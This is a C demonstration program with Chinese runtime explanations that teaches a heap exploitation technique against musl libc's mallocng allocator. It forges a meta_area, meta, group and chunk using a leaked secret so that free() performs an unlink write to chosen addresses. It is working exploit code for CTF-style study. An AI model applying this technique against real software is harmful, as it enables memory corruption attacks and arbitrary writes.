1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334
| #include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include <sys/mman.h>
struct meta { struct meta *prev, *next; struct group *mem; volatile int avail_mask, freed_mask; unsigned long long last_idx:5; unsigned long long freeable:1; unsigned long long sizeclass:6; unsigned long long maplen:8*8-12; };
struct group { struct meta *meta; unsigned char active_idx:5; char pad[0x10 - sizeof(struct meta *) - 1]; unsigned char storage[]; };
struct meta_area { unsigned long long check; struct meta_area *next; int nslots; struct meta slots[]; };
unsigned long long victim_1[0x8]; unsigned long long victim_2[0x8];
#define BLACK "30" #define RED "31" #define GREEN "32" #define YELLOW "33" #define BLUE "34" #define PURPLE "35" #define GREEN_DARK "36" #define WHITE "37"
#define UNDEFINED "-" #define HIGHLIGHT "1" #define UNDERLINE "4" #define SPARK "5"
#define STR_END "\033[0m"
void printf_color(char* color, char* effect, char* string){ char buffer[0x1000] = {0}; strcpy(buffer, "\033["); if(effect[0] != '-'){ strcat(buffer, effect); strcat(buffer, ";"); } strcat(buffer, color); strcat(buffer, "m"); strcat(buffer, string); printf("%s" STR_END, buffer); }
void print_binary(char* buf, int length){ printf("---------------------------------------------------------------------------\n"); printf("Address info starting in %p:\n", buf); int index = 0; char output_buffer[80]; memset(output_buffer, '\0', 80); memset(output_buffer, ' ', 0x10); for(int i=0; i<(length % 16 == 0 ? length / 16 : length / 16 + 1); i++){ char temp_buffer[0x10]; memset(temp_buffer, '\0', 0x10); sprintf(temp_buffer, "%#5x", index); strcpy(output_buffer, temp_buffer); output_buffer[5] = ' '; output_buffer[6] = '|'; output_buffer[7] = ' '; for(int j=0; j<16; j++){ if(index+j >= length) sprintf(output_buffer+8+3*j, " "); else{ sprintf(output_buffer+8+3*j, "%02x ", ((int)buf[index+j]) & 0xFF); if(!isprint(buf[index+j])) output_buffer[58+j] = '.'; else output_buffer[58+j] = buf[index+j]; } } output_buffer[55] = ' '; output_buffer[56] = '|'; output_buffer[57] = ' '; printf("%s\n", output_buffer); memset(output_buffer+58, '\0', 16); index += 16; } printf("---------------------------------------------------------------------------\n"); }
struct group* get_group(const unsigned char* chunk){ int offset = *(const unsigned short *)(chunk - 2); if (chunk[-4]) offset = *(unsigned int *)(chunk - 8); struct group* group_addr = (void *)(chunk - 0x10*offset - 0x10); return group_addr; }
struct meta* get_meta(const unsigned char* chunk){ struct group* group_addr = get_group(chunk); struct meta* meta_addr = group_addr->meta; return meta_addr; }
struct meta_area* get_meta_area(const void* meta){ return (struct meta_area*)((unsigned long long)meta & -4096); }
int main(){ printf_color(GREEN, UNDEFINED, "本程序用于演示musl libc中的unlink操作。\n"); printf_color(GREEN, UNDEFINED, "测试环境:ubuntu 22.04,musl libc版本:1.2.2。\n"); printf_color(GREEN, UNDEFINED, "鉴于musl libc的轻量性,与其相关的利用方式也较为单一。\n"); printf_color(GREEN, UNDEFINED, "本程序所演示的unlink是最为常用的一种利用方式之一。\n");
printf_color(GREEN, UNDEFINED, "musl libc与glibc不同,在主程序的main函数开始执行时,内存分配器就已经完成了初始化。\n"); printf_color(GREEN, UNDEFINED, "请注意:在一个group中分配出来的chunk很可能在地址空间上不相邻。\n"); printf_color(GREEN, UNDEFINED, "因为一个group需要确保每个chunk都能够容纳该范围内最大的chunk。\n"); printf_color(GREEN, UNDEFINED, "因此,调试便是musl libc赛题的重中之重。\n"); printf_color(GREEN, UNDEFINED, "下面是刚刚进入main函数时堆的情况:\n"); printf_color(PURPLE, HIGHLIGHT, "pwndbg> mheap\n" " secret : 0xd8e803bc461ae35a\n" " mmap_counter : 0x0\n" " avail_meta : 0x55555555a0e0 (count: 96)\n" " free_meta : 0\n" " avail_meta_area : 0x55555555b000 (count: 0)\n" " meta_area_head : 0x55555555a000\n" " meta_area_tail : 0x55555555a000\n" " active[7] : 0x55555555a090 (mem: 0x555555558f40) -> 0x55555555a0b8 (mem: 0x7ffff7ffef40) [0x80]\n" " active[15] : 0x55555555a068 (mem: 0x555555558d40) [0x1f0]\n" " active[19] : 0x55555555a040 (mem: 0x555555558940) [0x3f0]\n" " active[23] : 0x55555555a018 (mem: 0x555555558140) [0x7f0]\n\n");
printf_color(GREEN, UNDEFINED, "可见已经有一些meta被链入到链表数组之中了。\n"); printf_color(GREEN, UNDEFINED, "但这对做题的影响并不大,通过多次调试,我们就能够让自己的chunk进入想要的meta。\n"); printf_color(GREEN, UNDEFINED, "接下来让我们尝试分配几个chunk。\n");
void* chunks[14];
for(int i=0; i<14; i++) { chunks[i] = malloc(0x140); printf_color(GREEN, UNDEFINED, "第"); printf("\033[" GREEN "m%d\033[0m", i+1); printf_color(GREEN, UNDEFINED, "次malloc返回的地址为:"); printf("\033[1;31m%p\n\033[0m", chunks[i]); }
printf_color(GREEN, UNDEFINED, "\n接下来让我们用源码中给出的寻找chunk所在meta的方法回溯这些chunk所在的group和meta。\n"); struct group* groups[14]; struct meta* metas[14]; for(int i=0; i<14; i++){ groups[i] = get_group(chunks[i]); metas[i] = get_meta(chunks[i]); }
for(int i=0; i<14; i++){ printf_color(GREEN, UNDEFINED, "第"); printf("\033[" GREEN "m%d\033[0m", i+1); printf_color(GREEN, UNDEFINED, "次malloc获得chunk的group地址和meta地址分别为:"); printf("\033[1;31m%p %p\n\033[0m", groups[i], metas[i]); }
printf_color(GREEN, UNDEFINED, "通过nontrivial_free中的dequeue函数进行unlink,首先要通过get_meta函数的重重检查:\n\n"); printf_color(YELLOW, HIGHLIGHT, "(/src/malloc/mallocng/meta.h, line 129)\n"); printf_color(PURPLE, HIGHLIGHT, "static inline struct meta *get_meta(const unsigned char *p)\n" "{\n" "\tassert(!((uintptr_t)p & 15));\n" "\tint offset = *(const uint16_t *)(p - 2);\n" "\tint index = get_slot_index(p);\n" "\tif (p[-4]) {\n" "\t\tassert(!offset);\n" "\t\toffset = *(uint32_t *)(p - 8);\n" "\t\tassert(offset > 0xffff);\n" "\t}\n" "\tconst struct group *base = (const void *)(p - UNIT*offset - UNIT);\n" "\tconst struct meta *meta = base->meta;\n" "\tassert(meta->mem == base);\n" "\tassert(index <= meta->last_idx);\n" "\tassert(!(meta->avail_mask & (1u<<index)));\n" "\tassert(!(meta->freed_mask & (1u<<index)));\n" "\tconst struct meta_area *area = (void *)((uintptr_t)meta & -4096);\n" "\tassert(area->check == ctx.secret);\n" "\tif (meta->sizeclass < 48) {\n" "\t\tassert(offset >= size_classes[meta->sizeclass]*index);\n" "\t\tassert(offset < size_classes[meta->sizeclass]*(index+1));\n" "\t} else {\n" "\t\tassert(meta->sizeclass == 63);\n" "\t}\n" "\tif (meta->maplen) {\n" "\t\tassert(offset <= meta->maplen*4096UL/UNIT - 1);\n" "\t}\n" "\treturn (struct meta *)meta;\n" "}\n\n");
printf_color(GREEN, UNDEFINED, "下面我们逐一查看一下这些检查的具体内容。\n"); printf_color(YELLOW, HIGHLIGHT, "1. meta->mem == base,即meta中保存的group指针要正确。\n"); printf_color(YELLOW, HIGHLIGHT, "2. index <= meta->last_idx,即chunk的索引不能越界。\n"); printf_color(RED , HIGHLIGHT, "3. area->check == ctx.secret,即meta所在的meta_area的校验值正确。\n"); printf_color(YELLOW, HIGHLIGHT, "4. offset >= size_classes[meta->sizeclass]*index\n"); printf_color(YELLOW, HIGHLIGHT, "5. offset < size_classes[meta->sizeclass]*(index+1),这两个检查offset和chunk大小是否对应。\n"); printf_color(YELLOW, HIGHLIGHT, "6. assert(offset <= meta->maplen*4096UL/UNIT - 1);,即检查offset是否越界。\n");
printf_color(GREEN, UNDEFINED, "这些检查之中对我们最为重要的就是校验值的检查。\n"); printf_color(GREEN, UNDEFINED, "只有泄露出secret值,我们才能释放伪造meta_area中伪造meta的group的chunk。\n");
struct meta_area* area = get_meta_area(metas[0]); printf_color(GREEN, UNDEFINED, "上面分配的所有meta均在同一个meta_area中,地址为:"); printf("\033[1;" YELLOW "m%p\n\033[0m", area);
printf_color(GREEN, UNDEFINED, "可以由此获取到secret的值为:"); printf("\033[1;" YELLOW "m%#llx\n\n\033[0m", area->check);
unsigned long long secret = area->check;
printf_color(GREEN, UNDEFINED, "接下来我们来伪造chunk以及其上的结构。\n");
void* mmap_space = mmap((void*)0xdeadbeef000, 0x2000, PROT_WRITE | PROT_READ, MAP_PRIVATE | MAP_ANON, -1, 0); struct meta_area* fake_meta_area = mmap_space; fake_meta_area->check = secret;
struct meta* fake_meta = (struct meta*)((unsigned long long) mmap_space + 0x100); fake_meta->maplen = 1; fake_meta->sizeclass = 7; fake_meta->last_idx = 4; fake_meta->freeable = 1;
struct group* fake_group = (struct group*)((unsigned long long) mmap_space + 0x1000); fake_meta->mem = fake_group; fake_group->meta = fake_meta; fake_meta->avail_mask = 0b11101;
char* fake_chunk = (char*)((unsigned long long) mmap_space + 0x1000 + 0x10 + 0x80); *(unsigned short *)(fake_chunk - 2) = 8; *(unsigned char*)(fake_chunk - 3) = 1;
printf_color(GREEN, UNDEFINED, "绕过第1个检查,只需要设置meta中的group指针为假group指针即可。\n"); printf_color(GREEN, UNDEFINED, "第2个检查需要正确设置chunk的index值,本程序释放的是group中第2个chunk,因此索引为1。\n"); printf_color(GREEN, UNDEFINED, "注意索引值存放的位置,是chunk地址-3这个字节。\n"); printf_color(GREEN, UNDEFINED, "第3个检查需要我们提前泄露secret的值,并填写到meta_area中。\n"); printf_color(GREEN, UNDEFINED, "检查4和5只需要正确计算chunk的大小,填写chunk的索引值即可。\n"); printf_color(GREEN, UNDEFINED, "本程序尝试释放sizeclass=7的chunk,即chunk大小为0x80,因此第2个chunk的索引为0x80>>4=8。\n"); printf_color(GREEN, UNDEFINED, "索引值index保存在chunk的前面两个字节中,正确填入即可。\n"); printf_color(GREEN, UNDEFINED, "正确设置index后,检查6一般也是没有问题的。\n\n");
printf_color(GREEN, UNDEFINED, "在通过get_meta的检查后,还需要通过nontrivial_free中的if语句条件判断。\n\n"); printf_color(YELLOW, HIGHLIGHT, "(/src/malloc/mallocng/free.c, line 72)\n"); printf_color(PURPLE, HIGHLIGHT, "static struct mapinfo nontrivial_free(struct meta *g, int i)\n" "{\n" "\tuint32_t self = 1u<<i;\n" "\tint sc = g->sizeclass;\n" "\tuint32_t mask = g->freed_mask | g->avail_mask;\n" "\n" "\t\033[1;31mif (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g))\033[1;" PURPLE "m {\n" "\t\t// any multi-slot group is necessarily on an active list\n" "\t\t// here, but single-slot groups might or might not be.\n" "\t\tif (g->next) {\n" "\t\t\tassert(sc < 48);\n" "\t\t\tint activate_new = (ctx.active[sc]==g);\n" "\t\t\tdequeue(&ctx.active[sc], g);\n" "\t\t\tif (activate_new && ctx.active[sc])\n" "\t\t\t\tactivate_group(ctx.active[sc]);\n" "\t\t}\n" "\t\treturn free_group(g);\n" "\t} else if (!mask) {\n" "\t\tassert(sc < 48);\n" "\t\t// might still be active if there were no allocations\n" "\t\t// after last available slot was taken.\n" "\t\tif (ctx.active[sc] != g) {\n" "\t\t\tqueue(&ctx.active[sc], g);\n" "\t\t}\n" "\t}\n" "\ta_or(&g->freed_mask, self);\n" "\treturn (struct mapinfo){ 0 };\n" "}\n\n");
printf_color(GREEN, UNDEFINED, "只需要修改meta中的freeable字段为1即可通过该检查。\n");
printf_color(GREEN, UNDEFINED, "最后还需要在free_group中进入正确的else分支:\n\n"); printf_color(RED, HIGHLIGHT, "(/src/malloc/mallocng/free.c, line 14)\n"); printf_color(PURPLE, HIGHLIGHT, "static struct mapinfo free_group(struct meta *g)\n" "{\n" "\tstruct mapinfo mi = { 0 };\n" "\tint sc = g->sizeclass;\n" "\tif (sc < 48) {\n" "\t\tctx.usage_by_class[sc] -= g->last_idx+1;\n" "\t}\n" "\tif (g->maplen) {\n" "\t\tstep_seq();\n" "\t\trecord_seq(sc);\n" "\t\tmi.base = g->mem;\n" "\t\tmi.len = g->maplen*4096UL;\n" "\t} else {\n" "\t\tvoid *p = g->mem;\n" "\t\tstruct meta *m = get_meta(p);\n" "\t\tint idx = get_slot_index(p);\n" "\t\tg->mem->meta = 0;\n" "\t\t// not checking size/reserved here; it's intentionally invalid\n" "\t\tmi = nontrivial_free(m, idx);\n" "\t}\n" "\tfree_meta(g);\n" "\treturn mi;\n" "}\n\n"); printf_color(GREEN, UNDEFINED, "这需要我们设置meta->maplen为非零值,防止再次进入nontrivial_free。\n"); printf_color(GREEN, UNDEFINED, "这里的maplen就设置为group占用的页数量即可。\n");
printf_color(GREEN, UNDEFINED, "接下来我们向meta的两个链表指针写入事先准备好的地址。\n"); printf_color(GREEN, UNDEFINED, "meta->prev写入:"); printf("\033[1;" YELLOW "m%p\033[0m\n", victim_1); printf_color(GREEN, UNDEFINED, "meta->next写入:"); printf("\033[1;" YELLOW "m%p\033[0m\n", victim_2);
fake_meta->prev = (struct meta*)victim_1; fake_meta->next = (struct meta*)victim_2;
printf_color(GREEN, UNDEFINED, "下面调用free函数释放这个假chunk。\n\n");
free(fake_chunk);
printf_color(GREEN, UNDEFINED, "释放后,目标地址附近的值已经被成功修改:\n"); print_binary((char*)victim_1, 0x80);
return 0; }
|